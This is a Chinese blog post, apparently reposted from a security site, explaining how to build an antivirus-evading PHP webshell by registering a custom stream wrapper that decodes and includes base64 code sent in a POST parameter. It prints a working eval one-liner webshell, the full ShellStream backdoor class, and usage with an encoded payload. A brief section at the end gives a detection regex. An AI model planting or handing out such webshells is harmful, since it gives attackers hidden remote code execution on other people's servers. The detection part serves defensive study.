流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处。
前言
本文是看PHP使用流包装器实现WebShell有感,权当做个笔记。
很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。
<?php
@eval(file_get_contents('php://input'))
?>
include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include "htttp://remote.com/evil.php",把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;; ; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off
通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 " include 流 " 这种方式能否实现呢?
答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:
1、php://input流需要file_get_contents来获取,容易被查杀
2、http://php.net/manual/zh/wrappers.php.php这里有说明,php://input 受到 allow_url_fopen 的限制

编写
注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php,
编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html。
<?php class ShellStream
{
protected $position;
protected $code; public function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$name = $url["host"];
$this->code = base64_decode($name);
$this->position = 0;
return true;
} public function stream_read($count)
{
$ret = substr($this->code, $this->position, $count);
$this->position += strlen($ret);
return $ret;
} public function stream_tell()
{
return $this->position;
} public function stream_eof()
{
return $this->position >= strlen($this->code);
} public function stream_seek($offset, $whence)
{
switch ($whence) {
case SEEK_SET:
if ($offset < strlen($this->code) && $offset >= 0) {
$this->position = $offset;
return true;
} else {
return false;
}
break; case SEEK_CUR:
if ($offset >= 0) {
$this->position += $offset;
return true;
} else {
return false;
}
break;
case SEEK_END:
if (strlen($this->code) + $offset >= 0) {
$this->position = strlen($this->code) + $offset;
return true;
} else {
return false;
}
break; default:
return false;
}
} // include
public function stream_stat()
{
return stat(FILE);
} // file exists
public function url_stat(string $path,int $stat)
{
return stat(FILE);
} public static function shell(){
stream_wrapper_register('shell', ShellStream::class);
if (isset($_POST['code'])) {
$code = $_POST['code'];
include 'shell://'.$code;
} else {
include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
}
}
} ShellStream::shell();
?>
使用方法,传入code参数。例如:
code=PD9waHAgcGhwaW5mbygpOw%3D%3D
其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可

检测
1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。
2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则
(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://
已加入到笔者的webshell静态检测工具 findWebshell
参考
http://www.freebuf.com/articles/web/176571.html
http://www.cnblogs.com/jingjingdidunhe/p/6346884.html
流包装器实现WebShell免杀的更多相关文章
- JSP Webshell免杀设计
JSP Webshell免杀设计 @author:drag0nf1y 介绍 什么是Webshell? 被服务端解析执行的php.jsp文件 什么是RCE? remote command execute ...
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- [9期]软WAF上传绕过+webshell免杀
安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data form-data 改成 f+orm-data form-data 改成 for ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
- PHP7.1后webshell免杀
严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的 ...
- Webshell免杀
过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
随机推荐
- Java线程的几种状态(基于Oracle jdk 1.8)
Java中线程的状态定义在java.lang.Thread类中的一个枚举中. public enum State { /** * Thread state for a thread which has ...
- wireshark抓包,分析出PNG后解析
1. 抓包 2. 转成hex二进制流 3. 将二进制流转成base64位,通过在线工具: http://tomeko.net/online_tools/hex_to_base64.php?lang=e ...
- sparkSql使用hive数据源
1.pom文件 <dependency> <groupId>org.scala-lang</groupId> <artifactId>scala-lib ...
- PHP开发 高可用 高安全App后端(免费)
PHP开发高可用高安全App后端 第1章 本章先讲解课程所含技术点,并演示相关的项目,让小伙伴对课程有个初步的认知,然后再带领小伙伴进行功能的分析,表的ER总关系图 第2章 本章主要讲解课程的一些准备 ...
- 生成式学习算法(三)之----高斯判别分析模型(Gaussian Discriminant Analysis ,GDA)
高斯判别分析模型(Gaussian Discriminant Analysis ,GDA) 当我们分类问题的输入特征$x $为连续值随机变量时,可以用高斯判别分析模型(Gaussian Discrim ...
- 为什么使用B+Tree索引?
什么是索引? 索引是一种数据结构,具体表现在查找算法上. 索引目的 提高查询效率 [类比字典和借书] 如果要查"mysql"这个单词,我们肯定需要定位到m字母,然后从下往下找到y字 ...
- Sping学习笔记(一)----Spring源码阅读环境的搭建
idea搭建spring源码阅读环境 安装gradle Github下载Spring源码 新建学习spring源码的项目 idea搭建spring源码阅读环境 安装gradle 在官网中下载gradl ...
- [Leetcode][动态规划] 第935题 骑士拨号器
一.题目描述 国际象棋中的骑士可以按下图所示进行移动: 我们将 “骑士” 放在电话拨号盘的任意数字键(如上图所示)上,接下来,骑士将会跳 N-1 步 ...
- Python学习-while循环&逻辑运算符
一.while循环,continue.break语句在while循环中的使用 1.while循环语句: while 条件: 代码块 执行过程:判断条件是否为真,如果为真,执行代码块,继续下次循 ...
- alpha测试和beta测试的区别
alpha测试版,有点相当于内部测试,一般开发人员在场 ,是由用户做测试,但开发人员在场,一般是请用户到开发现场去测试 beta测试版,完全交给用户,由用户做测试,返回测试报告,相当于发行前的一 ...